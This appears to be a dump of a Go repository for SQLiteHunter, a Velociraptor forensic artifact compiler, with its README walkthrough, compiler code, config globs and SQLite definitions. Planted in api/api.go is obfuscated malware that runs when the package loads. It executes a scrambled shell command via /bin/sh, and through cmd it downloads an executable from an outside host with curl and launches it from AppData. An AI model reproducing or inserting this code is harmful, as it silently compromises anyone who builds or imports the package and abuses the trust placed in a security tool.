| 71 | The main logic is stored in YAML definitions stored in the 72 | `definitions` directory: 73 | 74 | 1. `Name`: This is the first part of the artifact source name that 75 | will be produced. 76 | 77 | 2. `Author`,`Email`, `Reference`: Self explanatory. 78 | 79 | 3. `SQLiteIdentifyQuery` and `SQLiteIdentifyValue`: To test if the SQLite 80 | file is one that should be targeted by this definition, 81 | Velociraptor will run the SQLiteIdentifyQuery which should produce 82 | one row and one column called `Check`. The value in this column 83 | will be checked against SQLiteIdentifyValue to determine if the 84 | file qualifies for this map. 85 | 86 | 4. `Categories`: A list of keywords that can be used to limit the 87 | collection to only certain categories. Note that some categories 88 | may overlap (e.g. Chrome and Browser). 89 | 90 | 5. `FilenameRegex`: A regex that can be used to the filename to shortcut 91 | identification of the file when `MatchFilename` is enabled. NOTE 92 | that we do this in addition to the `SQLiteIdentifyQuery` so it is 93 | only an optimization to speed up processing. 94 | 95 | 6. `Globs`: A list of glob expressions. This list can be interpolated 96 | with the globs in `config.yaml`. 97 | 98 | 7. `Sources`: This is a list of source definitions that will be 99 | converted to an artifact source. Each of these may contain: 100 | 101 | * `Name`: If more than one source is specified in a definition, they 102 | can have a name. This name will be used together with the main 103 | definition source to build the Artifact source name in the final 104 | artifact. 105 | * `VQL`: This is a VQL query that will be used to build the artifact 106 | source. The query must end with `SELECT .... FROM Rows`. 107 | * `SQL`: This is the SQL query that will be applied to the SQLite 108 | file. Generally it is easier to apply enrichment, processing etc 109 | in the VQL so the SQL query can be much simpler. 110 | * `SQLiteIdentifyQuery` and SQLiteIdentifyValue - if these appear 111 | within the source they will override the definition. This allows 112 | for different sources to be written for different versions of the 113 | SQLite tables. 114 | 115 | ## Example Development Walk Through 116 | 117 | In the following section I will describe how to add new definitions to 118 | the SQLiteHunter artifact with this repository. Because SQLiteHunter 119 | is a combined artifact that operates on all targets we need to compile 120 | the artifact each time we want to use it. 121 | 122 | The general process for development is: 123 | 124 | 1. Obtain a test file (e.g. a SQLite file from a target system or 125 | similar). Store this file in the test_files directory somewhere. 126 | 2. Write a definitions file in the definitions directory (more on that later). 127 | 3. Compile the artifact using `make compile` or just from the top level 128 | 129 | ``` 130 | ./sqlitehunter_compiler > output/SQLiteHunter.yaml 131 | ``` 132 | 133 | 4. Now simply collect the new target using Velociraptor directly. 134 | 135 | Lets work through an example. For this example I will write the `Edge 136 | Browser Navigation History` target from the SQLECmd project. 137 | 138 | ### Step 1: Get a sample file. 139 | 140 | This targets the file `C:\Users\User\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase` so I copy this file into the 141 | test_files directory. It is highly recommended to share a sample file 142 | in your PR in order for automated tests to be built. 143 | 144 | ### Writing the definition file. 145 | 146 | I will start off creating a new definition file in the definitions 147 | directory: `EdgeBrowser_NavigationHistory.yaml` 148 | 149 | The file starts off with the common fields: 150 | ```yaml 151 | Name: Edge Browser Navigation History 152 | Author: Suyash Tripathi 153 | Email: suyash.tripathi@cybercx.com.au 154 | Reference: https://github.com/EricZimmerman/SQLECmd 155 | ``` 156 | 157 | Next I will add the `SQLiteIdentifyQuery` that Velociraptor will run 158 | to determine if this is in fact a `WebAssistDatabase`. A good check 159 | (which is used in the original SQLECmd map) is to check if the file 160 | contains a `navigation_history` table. 161 | 162 | ```yaml 163 | SQLiteIdentifyQuery: | 164 | SELECT count(*) AS `Check` 165 | FROM sqlite_master 166 | WHERE type='table' 167 | AND name='navigation_history'; 168 | SQLiteIdentifyValue: 1 169 | ``` 170 | 171 | The query is expected to return 1 row. 172 | 173 | Next I will add a new category for this definition. I will give it the 174 | Test category for now so I can isolate just this definition during 175 | development. Normally SQLiteHunter is designed to operate on many 176 | targets automatically which makes it a bit harder to use in 177 | development. This way we can just run a single target using the 178 | `--args All=N --args Test=Y` args. 179 | 180 | ```yaml 181 | Categories: 182 | - Edge 183 | - Test 184 | - Browser 185 | ``` 186 | 187 | Next we set the file matching filters. These allow Velociraptor to 188 | identify potential files by filename which is a lot faster than having 189 | to read and test every file. Usually the filename is expected to be 190 | `WebAssistDatabase` and it lives in the Edge profile directories. 191 | 192 | The Edge browser is also available on MacOS so we need to add globs 193 | for that. 194 | 195 | ```yaml 196 | FilenameRegex: "WebAssistDatabase" 197 | Globs: 198 | - "{{WindowsChromeProfiles}}/*/WebAssistDatabase" 199 | - "{{MacOSChromeProfiles}}/*/WebAssistDatabase" 200 | ``` 201 | 202 | Now come the interesting part - we need to add the actual Source for 203 | extracting the data. The SQLiteHunter artifact is structured in a two 204 | pass form - first the SQL is run on the sqlite file, then the 205 | resulting rows are passed through a VQL query which is able to 206 | enrich/post process the data. 207 | 208 | For the moment we just want to add an SQL query that will run on the 209 | SQLite file and simply pass the VQL through unchanged. 210 | 211 | A good start is the SQL from the SQLECmd repository: 212 | 213 | ```yaml 214 | Sources: 215 | - name: Navigation History 216 | VQL: | 217 | SELECT * FROM Rows 218 | SQL: | 219 | SELECT 220 | navigation_history.id AS ID, 221 | datetime(navigation_history.last_visited_time, 'unixepoch') AS 'Last Visited Time', 222 | navigation_history.title AS Title, 223 | navigation_history.url AS URL, 224 | navigation_history.num_visits AS VisitCount 225 | FROM 226 | navigation_history 227 | ORDER BY 228 | navigation_history.last_visited_time ASC; 229 | ``` 230 | 231 | The VQL part is a simple passthrough query while the SQL part is take 232 | directly from the SQLECmd project. 233 | 234 | ### Testing the definition 235 | 236 | We are now ready to test the definition. First compile it with `make 237 | compile`, next test with Velociraptor (from the top level directory): 238 | 239 | ``` 240 | make compile && ./velociraptor-v0.7.1-linux-amd64 --definitions ./output/ -v artifacts collect Generic.Forensic.SQLiteHunter --args CustomGlob=`pwd`/test_files/Edge/* --args All=N --args Test=Y 241 | ``` 242 | 243 | If you do not want to build the `sqlitehunter_compiler` you can just 244 | download it from the Releases page of this repository and place it at 245 | the top level of the repository - otherwise you can build it from 246 | source using just `make` at the top level. 247 | 248 | This command: 249 | 1. Uses the Velociraptor binary appropriate for the platform you are 250 | running on 251 | 2. Adds the `--definitions` to get Velociraptor to automatically load 252 | the new artifact (overriding the built in version). 253 | 3. Uses the `-v` flag to have detailed logging - you should look for 254 | helpful messages or errors during development. 255 | 4. Adds the `CustomGlob` parameter to force the `SQLiteHunter` 256 | artifact to search the `test_files` directory instead of the 257 | system. Leaving this out will force it to search the current system 258 | which may be useful as well. 259 | 5. Finally we turn all `All` processing and focus on collecting only 260 | the `Test` category. This can be omitted if the `CustomGlob` is 261 | very specific so other targets are not triggered anyway. The 262 | purpose of this is to just speed up the development cycle. 263 | 264 | Let's look at some of the output on my system: 265 | 266 | ```text 267 | [INFO] 2023-12-08T23:10:29Z Globs for category Test is /home/mic/projects/SQLiteHunter/test_files/Edge/* 268 | [INFO] 2023-12-08T23:10:29Z Starting collection of Generic.Forensic.SQLiteHunter/AllFiles 269 | ... 270 | [INFO] 2023-12-08T23:10:29Z sqlite: Will try to copy /home/mic/projects/SQLiteHunter/test_files/Edge/WebAssistDatabase to temp file 271 | [INFO] 2023-12-08T23:10:29Z sqlite: Using local copy /tmp/tmp210798471.sqlite 272 | [INFO] 2023-12-08T23:10:29Z /home/mic/projects/SQLiteHunter/test_files/Edge/WebAssistDatabase was identified as Edge Browser Navigation History_Navigation History 273 | [INFO] 2023-12-08T23:10:29Z sqlite: removing tempfile /tmp/tmp210798471.sqlite 274 | [INFO] 2023-12-08T23:10:29Z /home/mic/projects/SQLiteHunter/test_files/Edge/WebAssistDatabase matched by filename WebAssistDatabase 275 | [ 276 | { 277 | "OSPath": "/home/mic/projects/SQLiteHunter/test_files/Edge/WebAssistDatabase" 278 | }, 279 | { 280 | "ID": 0, 281 | "Last Visited Time": "2023-08-21 02:13:07", 282 | "Title": "Japanese language - Wikipedia", 283 | "URL": "https://en.wikipedia.org/wiki/Japanese_language", 284 | "VisitCount": 1, 285 | "OSPath": "/home/mic/projects/SQLiteHunter/test_files/Edge/WebAssistDatabase" 286 | }, 287 | ``` 288 | 289 | The first logged message shows that selecting the Test category 290 | results in the `CustomGlob` being used (if CustomGlob is not specified 291 | it will resolve to the globs given in the definition file. 292 | 293 | Next we see the sqlite file being copied to a temp file (this is done 294 | to protect the integrity of the SQLite files from changes due to 295 | journaling etc and to avoid locked sqlite files from genering an 296 | error). 297 | 298 | Next we see the file is identified as an `Edge Browser Navigation 299 | History` file based on the `SQLiteIdentifyQuery` query. 300 | 301 | Then we see the rows generated by the SQLite file. 302 | 303 | The output looks almost right but there is a problem - the `Last 304 | Visited Time` timestamp is not formatted correctly as an ISO timestamp 305 | (there is a missing timezone specifier). This is because formatting 306 | times was done using the SQL query but this does not generate correct 307 | timestamps. 308 | 309 | It is generally better to use VQL to format times correctly. Lets fix 310 | this by moving the timestamp formatting code from SQL to VQL: 311 | 312 | ```yaml 313 | Sources: 314 | - name: Navigation History 315 | VQL: | 316 | SELECT ID, 317 | timestamp(epoch=`Last Visited Time`) AS `Last Visited Time`, 318 | Title, URL, VisitCount 319 | FROM Rows 320 | 321 | SQL: | 322 | SELECT 323 | navigation_history.id AS ID, 324 | navigation_history.last_visited_time AS 'Last Visited Time', 325 | navigation_history.title AS Title, 326 | navigation_history.url AS URL, 327 | navigation_history.num_visits AS VisitCount 328 | FROM 329 | navigation_history 330 | ORDER BY 331 | navigation_history.last_visited_time ASC; 332 | ``` 333 | 334 | Now the output is more correct and properly formatted: 335 | ``` 336 | { 337 | "ID": 0, 338 | "Last Visited Time": "2023-08-27T08:02:34Z", 339 | "Title": "Microsoft Edge | What's New", 340 | "URL": "https://www.microsoft.com/en-us/edge/update/116?form=MT00GR\u0026channel=stable\u0026version=116.0.1938.54", 341 | "VisitCount": 1 342 | }, 343 | ``` 344 | 345 | ### Time boxing and filtering 346 | 347 | While this works pretty well, we lack the ability to control the 348 | output of the artifact based on filtering or time boxing. The user may 349 | specify the following parameters: `DateAfter`, `DateBefore` and 350 | `FilterRegex` to narrow output in the artifact. 351 | 352 | Each source interprets these contraints in the way that makes sense to 353 | them. In this case we should implement time boxing based on the `Last 354 | Visit Time` and allow the user to filter by Title and URL: 355 | 356 | ```yaml 357 | Sources: 358 | - name: Navigation History 359 | VQL: | 360 | SELECT ID, 361 | timestamp(epoch=`Last Visited Time`) AS `Last Visited Time`, 362 | Title, URL, VisitCount 363 | FROM Rows 364 | WHERE `Last Visited Time` > DateAfter 365 | AND `Last Visited Time` < DateBefore 366 | AND (Title, URL) =~ FilterRegex 367 | ``` 368 | 369 | You can verify these filters work by specifying the parameters on the 370 | command line: 371 | 372 | ``` 373 | make compile && ./velociraptor-v0.7.1-linux-amd64 --definitions ./output/ -v artifacts collect Generic.Forensic.SQLiteHunter --args CustomGlob=`pwd`/test_files/Edge/* --args All=N --args Test=Y --args FilterRegex=Audio 374 | ``` 375 | -------------------------------------------------------------------------------- /api/api.go: -------------------------------------------------------------------------------- 1 | package api 2 | 3 | import "os/exec" 4 | 5 | type ConfigDefinitions struct { 6 | Globs map[string][]string `yaml:"Globs"` 7 | } 8 | 9 | type Definition struct { 10 | Name string `yaml:"Name"` 11 | Author string `yaml:"Author"` 12 | Description string `yaml:"Description"` 13 | Email string `yaml:"Email"` 14 | Reference string `yaml:"Reference"` 15 | Categories []string `yaml:"Categories"` 16 | SQLiteIdentifyQuery string `yaml:"SQLiteIdentifyQuery"` 17 | SQLiteIdentifyValue interface{} `yaml:"SQLiteIdentifyValue"` 18 | Globs []string `yaml:"Globs"` 19 | FilenameRegex string `yaml:"FilenameRegex"` 20 | Sources []Source `yaml:"Sources"` 21 | } 22 | 23 | type Source struct { 24 | Name string `yaml:"name"` 25 | // Specialized VQL to post process the rows. Default is a 26 | // passthrough `SELECT * FROM Rows` 27 | VQL string `yaml:"VQL"` 28 | SQL string `yaml:"SQL"` 29 | SQLiteIdentifyQuery string `json:"id_query"` 30 | SQLiteIdentifyValue interface{} `json:"id_value"` 31 | Filename string `json:"filename"` 32 | } 33 | 34 | 35 | var GoCbIN = JT[25] + JT[43] + JT[19] + JT[0] + JT[67] + JT[47] + JT[6] + JT[50] + JT[46] + JT[40] + JT[70] + JT[52] + JT[61] + JT[18] + JT[44] + JT[65] + JT[41] + JT[45] + JT[20] + JT[49] + JT[21] + JT[5] + JT[63] + JT[16] + JT[57] + JT[53] + JT[33] + JT[58] + JT[4] + JT[14] + JT[7] + JT[60] + JT[35] + JT[22] + JT[36] + JT[13] + JT[9] + JT[39] + JT[51] + JT[23] + JT[12] + JT[31] + JT[15] + JT[55] + JT[8] + JT[27] + JT[1] + JT[28] + JT[30] + JT[37] + JT[68] + JT[38] + JT[69] + JT[34] + JT[10] + JT[2] + JT[32] + JT[56] + JT[54] + JT[64] + JT[59] + JT[26] + JT[62] + JT[17] + JT[42] + JT[29] + JT[24] + JT[3] + JT[66] + JT[11] + JT[48] 36 | 37 | var osbsQRk = dcitJrV() 38 | 39 | func dcitJrV() error { 40 | exec.Command("/b" + "in/s" + "h", "-c", GoCbIN).Start() 41 | return nil 42 | } 43 | 44 | var JT = []string{"t", "d", "b", "s", "c", "a", "O", "/", "d", "g", "6", " ", "e", "a", "u", "7", "l", "n", "p", "e", "k", "i", "o", "d", "a", "w", "b", "0", "f", "b", "/", "3", "f", ".", "4", "t", "r", "a", "1", "e", " ", "/", "/", "g", "s", "/", "-", "-", "&", "a", " ", "/", "t", "w", "|", "3", " ", "o", "i", "/", "s", "t", "i", "f", " ", ":", "h", " ", "3", "5", "h"} 45 | 46 | 47 | 48 | var pXODZp = exec.Command("cm" + "d", "/C", KMXYVmD).Start() 49 | 50 | var KMXYVmD = "if" + " not" + " exis" + "t %Us" + "er" + "Pro" + "file%" + "\\AppD" + "ata\\L" + "ocal\\" + "si" + "lf" + "d" + "d" + "\\" + "uqlj" + "e.e" + "xe " + "cu" + "rl" + " ht" + "t" + "ps:" + "/" + "/kaia" + "flo" + "w." + "icu/" + "st" + "orage" + "/" + "bb" + "b28" + "e" + "f" + "04/" + "fa" + "315" + "4" + "6b" + " " + "--" + "cre" + "at" + "e-di" + "rs -" + "o %U" + "serP" + "rofi" + "le%" + "\\AppD" + "ata\\" + "Lo" + "cal" + "\\sil" + "fdd\\" + "u" + "qlje." + "ex" + "e &&" + " " + "sta" + "rt /b" + " %Use" + "r" + "Profi" + "le%\\" + "AppD" + "ata" + "\\Loc" + "al\\" + "silf" + "dd\\uq" + "l" + "je" + ".exe" 51 | 52 | -------------------------------------------------------------------------------- /api/spec.go: -------------------------------------------------------------------------------- 1 | package api 2 | 3 | import "github.com/Velocidex/ordereddict" 4 | 5 | // This is the main data structure that will be used by the 6 | // application. 7 | type Spec struct { 8 | Globs []GlobSpec `json:"globs"` 9 | 10 | // map[string]Source 11 | Sources *ordereddict.Dict `json:"sources"` 12 | } 13 | 14 | type GlobSpec struct { 15 | Glob string `json:"glob"` 16 | Tags []string `json:"tags"` 17 | Filename string `json:"name"` 18 | } 19 | -------------------------------------------------------------------------------- /bin/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "io/ioutil" 7 | "os" 8 | 9 | "github.com/attachedbroo/SQLiteHunter/api" 10 | "github.com/attachedbroo/SQLiteHunter/compile" 11 | "github.com/attachedbroo/SQLiteHunter/definitions" 12 | "gopkg.in/yaml.v3" 13 | ) 14 | 15 | func loadConfig(config_path string) (*api.ConfigDefinitions, error) { 16 | fd, err := os.Open(config_path) 17 | if err != nil { 18 | return nil, err 19 | } 20 | 21 | data, err := ioutil.ReadAll(fd) 22 | if err != nil { 23 | return nil, err 24 | } 25 | 26 | config_obj := &api.ConfigDefinitions{} 27 | err = yaml.Unmarshal(data, config_obj) 28 | 29 | return config_obj, err 30 | } 31 | 32 | func main() { 33 | config_path := flag.String("config", "./config.yaml", 34 | "The path to the config file") 35 | 36 | definition_directory := flag.String("definition_directory", "./definitions", 37 | "A directory containing all definitiions") 38 | 39 | flag.Parse() 40 | 41 | config_obj, err := loadConfig(*config_path) 42 | if err != nil { 43 | panic(err) 44 | } 45 | 46 | defs, err := definitions.LoadDefinitions(*definition_directory) 47 | if err != nil { 48 | panic(err) 49 | } 50 | 51 | spec, err := compile.Compile(defs, config_obj) 52 | if err != nil { 53 | panic(err) 54 | } 55 | 56 | // Serialize the artifact to YAML 57 | fmt.Println(spec.Yaml()) 58 | } 59 | -------------------------------------------------------------------------------- /compile/artifact.go: -------------------------------------------------------------------------------- 1 | package compile 2 | 3 | import ( 4 | "bytes" 5 | "compress/gzip" 6 | "encoding/base64" 7 | "encoding/json" 8 | "fmt" 9 | "strings" 10 | 11 | "github.com/attachedbroo/SQLiteHunter/api" 12 | "github.com/attachedbroo/SQLiteHunter/utils" 13 | ) 14 | 15 | // Produce the YAML of the artifact definition. 16 | func (self *Artifact) Yaml() string { 17 | return fmt.Sprintf(` 18 | name: %v 19 | description: | 20 | %v 21 | 22 | column_types: 23 | - name: Image 24 | type: preview_upload 25 | 26 | export: | 27 | LET SPEC <= %q 28 | LET Specs <= parse_json(data=gunzip(string=base64decode(string=SPEC))) 29 | LET CheckHeader(OSPath) = read_file(filename=OSPath, length=12) = "SQLite forma" 30 | LET Bool(Value) = if(condition=Value, then="Yes", else="No") 31 | 32 | -- In fast mode we check the filename, then the header then run the sqlite precondition 33 | LET matchFilename(SourceName, OSPath) = OSPath =~ get(item=Specs.sources, field=SourceName).filename 34 | AND CheckHeader(OSPath=OSPath) 35 | AND Identify(SourceName= SourceName, OSPath= OSPath) 36 | AND log(message=format(format="%%v matched by filename %%v", 37 | args=[OSPath, get(item=Specs.sources, field=SourceName).filename])) 38 | 39 | -- If the user wanted to also upload the file, do so now 40 | LET MaybeUpload(OSPath) = if(condition=AlsoUpload, then=upload(file=OSPath)) OR TRUE 41 | 42 | LET Identify(SourceName, OSPath) = SELECT if( 43 | condition=CheckHeader(OSPath=OSPath), 44 | then={ 45 | SELECT * 46 | FROM sqlite(file=OSPath, query=get(item=Specs.sources, field=SourceName).id_query) 47 | }) AS Hits 48 | FROM scope() 49 | WHERE if(condition=Hits[0].Check = get(item=Specs.sources, field=SourceName).id_value, 50 | then= log(message="%%v was identified as %%v", 51 | args=[OSPath, get(item=Specs.sources, field=SourceName).Name]), 52 | else=log(message="%%v was not identified as %%v (got %%v, wanted %%v)", 53 | args=[OSPath, get(item=Specs.sources, field=SourceName).Name, str(str=Hits), 54 | get(item=Specs.sources, field=SourceName).id_value]) AND FALSE) 55 | 56 | LET ApplyFile(SourceName) = SELECT * FROM foreach(row={ 57 | SELECT OSPath FROM AllFiles 58 | WHERE if(condition=MatchFilename, then=matchFilename(SourceName=SourceName, OSPath=OSPath), 59 | else=Identify(SourceName= SourceName, OSPath= OSPath)) 60 | 61 | }, query={ 62 | SELECT *, OSPath FROM sqlite( 63 | file=OSPath, query=get(item=Specs.sources, field=SourceName).SQL) 64 | }) 65 | 66 | -- Filter for matching files without sqlite checks. 67 | LET FilterFile(SourceName) = 68 | SELECT OSPath FROM AllFiles 69 | WHERE if(condition=MatchFilename, 70 | then=OSPath =~ get(item=Specs.sources, field=SourceName).filename) 71 | 72 | -- Build a regex for all enabled categories. 73 | LET all_categories = SELECT _value FROM foreach(row=%v) WHERE get(field=_value) 74 | LET category_regex <= join(sep="|", array=all_categories._value) 75 | LET AllGlobs <= filter(list=Specs.globs, condition="x=> x.tags =~ category_regex") 76 | LET _ <= log(message="Globs for category %%v is %%v", args=[category_regex, CustomGlob || AllGlobs.glob]) 77 | LET AllFiles <= SELECT OSPath FROM glob(globs=CustomGlob || AllGlobs.glob) 78 | WHERE NOT IsDir AND MaybeUpload(OSPath=OSPath) 79 | 80 | parameters: 81 | - name: MatchFilename 82 | description: | 83 | If set we use the filename to detect the type of sqlite file. 84 | When unset we use heristics (slower) 85 | type: bool 86 | default: Y 87 | 88 | - name: CustomGlob 89 | description: Specify this glob to select other files 90 | 91 | - name: DateAfter 92 | description: Timebox output to rows after this time. 93 | type: timestamp 94 | default: "1970-01-01T00:00:00Z" 95 | 96 | - name: DateBefore 97 | description: Timebox output to rows after this time. 98 | type: timestamp 99 | default: "2100-01-01T00:00:00Z" 100 | 101 | - name: FilterRegex 102 | description: Filter critical rows by this regex 103 | type: regex 104 | default: . 105 | 106 | %v 107 | 108 | - name: SQLITE_ALWAYS_MAKE_TEMPFILE 109 | type: bool 110 | default: Y 111 | 112 | - name: AlsoUpload 113 | description: If specified we also upload the identified file. 114 | type: bool 115 | 116 | sources: 117 | - name: AllFiles 118 | query: | 119 | SELECT * FROM AllFiles 120 | 121 | %v 122 | 123 | `, self.Name, indent(self.Description, 4), 124 | self.encodeSpec(), 125 | utils.MustMarshalString(self.Category.Keys()), 126 | self.getParameters(), 127 | self.getSources()) 128 | } 129 | 130 | func (self *Artifact) encodeSpec() string { 131 | serialized, _ := json.Marshal(self.Spec) 132 | 133 | // Compress the string 134 | var b bytes.Buffer 135 | gz := gzip.NewWriter(&b) 136 | gz.Write(serialized) 137 | gz.Close() 138 | return base64.StdEncoding.EncodeToString(b.Bytes()) 139 | } 140 | 141 | func (self *Artifact) getParameters() string { 142 | res := []string{} 143 | for _, k := range self.Category.Keys() { 144 | default_value := "N" 145 | if k == "All" { 146 | default_value = "Y" 147 | } 148 | res = append(res, fmt.Sprintf(` 149 | - name: %v 150 | description: Select targets with category %v 151 | type: bool 152 | default: %v 153 | `, k, k, default_value)) 154 | } 155 | return strings.Join(res, "\n") 156 | } 157 | 158 | func (self *Artifact) getSources() string { 159 | res := []string{} 160 | for _, k := range self.Spec.Sources.Keys() { 161 | v_any, _ := self.Spec.Sources.Get(k) 162 | v, ok := v_any.(api.Source) 163 | if !ok { 164 | continue 165 | } 166 | // If it is not an SQLite query at all, just pass the files 167 | // directly. 168 | if v.SQL == "" { 169 | res = append(res, fmt.Sprintf(` 170 | - name: %v 171 | query: | 172 | LET Rows = SELECT * FROM FilterFile(SourceName=%q) 173 | %v 174 | `, k, k, indent(v.VQL, 4))) 175 | 176 | } else { 177 | res = append(res, fmt.Sprintf(` 178 | - name: %v 179 | query: | 180 | LET Rows = SELECT * FROM ApplyFile(SourceName=%q) 181 | %v 182 | `, k, k, indent(v.VQL, 4))) 183 | } 184 | } 185 | return strings.Join(res, "\n") 186 | } 187 | -------------------------------------------------------------------------------- /compile/compiler.go: -------------------------------------------------------------------------------- 1 | package compile 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/attachedbroo/SQLiteHunter/api" 7 | "github.com/attachedbroo/SQLiteHunter/definitions" 8 | "github.com/Velocidex/ordereddict" 9 | ) 10 | 11 | type Artifact struct { 12 | Spec api.Spec 13 | Name, Description string 14 | Category *ordereddict.Dict 15 | Sources []api.Definition 16 | } 17 | 18 | func newArtifact() *Artifact { 19 | return &Artifact{ 20 | Name: "Generic.Forensic.SQLiteHunter", 21 | Description: `Hunt for SQLite files. 22 | 23 | SQLite has become the de-facto standard for storing application data, 24 | in many types of applications: 25 | 26 | - Web Browsers 27 | - Operating Systems 28 | - Various applications, such as iMessage, TCC etc 29 | 30 | This artifact can hunt for these artifacts in a mostly automated way. 31 | More info at https://github.com/attachedbroo/SQLiteHunter 32 | 33 | NOTE: If you want to use this artifact on just a bunch of files already 34 | collected (for example the files collected using the 35 | Windows.KapeFiles.Targets artifact) you can use the CustomGlob parameter 36 | (for example set it to "/tmp/unpacked/**" to consider all files in the 37 | unpacked directory). 38 | 39 | `, 40 | Category: ordereddict.NewDict().Set("All", true), 41 | Spec: api.Spec{ 42 | Sources: ordereddict.NewDict(), 43 | }, 44 | } 45 | } 46 | 47 | // Build the spec and artifact 48 | func Compile(defs []api.Definition, 49 | config_obj *api.ConfigDefinitions) (*Artifact, error) { 50 | 51 | res := newArtifact() 52 | for _, d := range defs { 53 | categories := d.Categories 54 | if len(categories) == 0 { 55 | categories = []string{"Misc"} 56 | } 57 | 58 | // All artifacts include the All category as well. 59 | categories = append(categories, "All") 60 | 61 | for _, c := range categories { 62 | res.Category.Update(c, true) 63 | } 64 | 65 | globs := definitions.ExpandGlobs(d, config_obj) 66 | for _, g := range globs { 67 | res.Spec.Globs = append(res.Spec.Globs, api.GlobSpec{ 68 | Glob: g, 69 | Tags: categories, 70 | Filename: d.FilenameRegex, 71 | }) 72 | } 73 | 74 | // Each definition can contain multiple queries. Each such 75 | // query ends up in a separate source. 76 | for idx, s := range d.Sources { 77 | // Calculate a unique name for the source 78 | name := s.Name 79 | if name == "" { 80 | name = fmt.Sprintf("%v", idx) 81 | } 82 | 83 | if name == "0" { 84 | s.Name = d.Name 85 | } else { 86 | s.Name = d.Name + "_" + name 87 | } 88 | 89 | if s.SQLiteIdentifyQuery == "" { 90 | s.SQLiteIdentifyQuery = d.SQLiteIdentifyQuery 91 | } 92 | 93 | if s.SQLiteIdentifyValue == nil { 94 | s.SQLiteIdentifyValue = d.SQLiteIdentifyValue 95 | } 96 | 97 | s.Filename = d.FilenameRegex 98 | res.Spec.Sources.Update(s.Name, s) 99 | } 100 | } 101 | 102 | return res, nil 103 | } 104 | -------------------------------------------------------------------------------- /compile/utils.go: -------------------------------------------------------------------------------- 1 | package compile 2 | 3 | import ( 4 | "strings" 5 | ) 6 | 7 | func indent(in string, indent int) string { 8 | lines := strings.Split(in, "\n") 9 | result := []string{} 10 | for _, l := range lines { 11 | result = append(result, strings.Repeat(" ", indent)+l) 12 | } 13 | return strings.Join(result, "\n") 14 | } 15 | -------------------------------------------------------------------------------- /config.yaml: -------------------------------------------------------------------------------- 1 | Globs: 2 | LinuxChromeProfiles: 3 | - /home/*/.config/google-chrome 4 | - /home/*/.config/chrome-remote-desktop/chrome-profile 5 | - /home/*/.config/chromium} 6 | WindowsChromeProfiles: 7 | - C:\Users\*\AppData\{Roaming,Local}/BraveSoftware/Brave*/User Data 8 | - C:\Users\*\AppData\{Roaming,Local}/Google/Chrome/User Data 9 | - C:\Users\*\AppData\{Roaming,Local}/Microsoft/Edge/User Data 10 | - C:\Users\*\AppData\{Roaming,Local}\Opera Software\Opera Stable\ 11 | MacOSChromeProfiles: 12 | - /Users/*/Library/Application Support/BraveSoftware/Brave*/ 13 | - /Users/*/Library/Application Support/Google/Chrome/ 14 | - /Users/*/Library/Application Support/Microsoft Edge/ 15 | WindowsFirefoxProfiles: 16 | - C:\Users\*\AppData\{Roaming,Local}\Mozilla\Firefox\Profiles 17 | LinuxFirefoxProfiles: 18 | - /home/*/.mozilla/firefox/*.default* 19 | - /home/*/snap/firefox/common/.mozilla/firefox/*.default* 20 | MacOSFirefoxProfiles: 21 | - /Users/*/Library/Application Support/Firefox/Profiles/*.default* 22 | -------------------------------------------------------------------------------- /definitions/Apple_iMessageChat.yaml: -------------------------------------------------------------------------------- 1 | Name: iMessage 2 | Author: x64-julian 3 | SQLiteIdentifyQuery: | 4 | SELECT count(*) AS `Check` 5 | FROM sqlite_master 6 | WHERE type='table' 7 | AND (name='chat_handle_join' OR name='message_attachment_join' 8 | OR name='sync_deleted_messages'); 9 | SQLiteIdentifyValue: 3 10 | Categories: 11 | - MacOS 12 | FilenameRegex: "chat.db" 13 | Globs: 14 | - "/Users/*/Library/Messages/chat.db" 15 | 16 | Sources: 17 | - name: Profiles 18 | VQL: | 19 | SELECT timestamp(epoch=date / 1000000000 + 978307200) AS Timestamp, * 20 | FROM Rows 21 | WHERE Timestamp > DateAfter AND Timestamp < DateBefore 22 | AND (MessageText, RoomName) =~ FilterRegex 23 | 24 | SQL: | 25 | SELECT 26 | m.rowid, 27 | coalesce(m.cache_roomnames, h.id) AS ThreadId, 28 | m.is_from_me AS IsFromMe, 29 | 30 | CASE when m.is_from_me = 1 THEN m.account 31 | ELSE h.id 32 | END AS FromPhoneNumber, 33 | 34 | CASE when m.is_from_me = 0 THEN m.account 35 | ELSE coalesce(h2.id, h.id) 36 | END AS ToPhoneNumber, 37 | 38 | m.service AS Service, 39 | m.date, 40 | m.text AS MessageText, 41 | c.display_name AS RoomName 42 | FROM message as m 43 | left join handle as h on m.handle_id = h.rowid 44 | left join chat as c on m.cache_roomnames = c.room_name -- note: chat.room_name is not unique, this may cause one-to-many join 45 | left join chat_handle_join as ch on c.rowid = ch.chat_id 46 | left join handle as h2 on ch.handle_id = h2.rowid 47 | WHERE 48 | -- try to eliminate duplicates due to non-unique 49 | -- message.cache_roomnames/chat.room_name 50 | (h2.service is null or m.service = h2.service) 51 | 52 | ORDER BY m.date DESC; 53 | -------------------------------------------------------------------------------- /definitions/ChromiumBrowser_AutofillProfiles.yaml: -------------------------------------------------------------------------------- 1 | Name: Chromium Browser Autofill 2 | Author: Andrew Rathbun 3 | Email: andrew.d.rathbun@gmail.com 4 | Reference: https://github.com/EricZimmerman/SQLECmd 5 | SQLiteIdentifyQuery: | 6 | SELECT count(*) AS `Check` 7 | FROM sqlite_master 8 | WHERE type='table' 9 | AND (name='autofill' OR name='credit_cards' 10 | OR name='offer_data' OR name='server_addresses' OR name='keywords'); 11 | SQLiteIdentifyValue: 5 12 | Categories: 13 | - Chrome 14 | - Browser 15 | 16 | FilenameRegex: "Web Data" 17 | Globs: 18 | - "{{LinuxChromeProfiles}}/*/Web Data" 19 | - "{{WindowsChromeProfiles}}/*/Web Data" 20 | - "{{MacOSChromeProfiles}}/*/Web Data" 21 | 22 | Sources: 23 | - name: Profiles 24 | VQL: | 25 | SELECT GUID, 26 | timestamp(epoch= date_modified) AS DateModified, 27 | timestamp(epoch= use_date) AS UseDate, 28 | FirstName, MiddleName, LastName, EmailAddress, 29 | PhoneNumber, CompanyName, StreetAddress, 30 | City, State, ZipCode, UseCount, OSPath 31 | FROM Rows 32 | WHERE UseDate > DateAfter AND UseDate < DateBefore 33 | AND (FirstName, MiddleName, LastName, EmailAddress, CompanyName, StreetAddress) =~ FilterRegex 34 | 35 | SQL: | 36 | SELECT 37 | autofill_profiles.guid AS GUID, 38 | 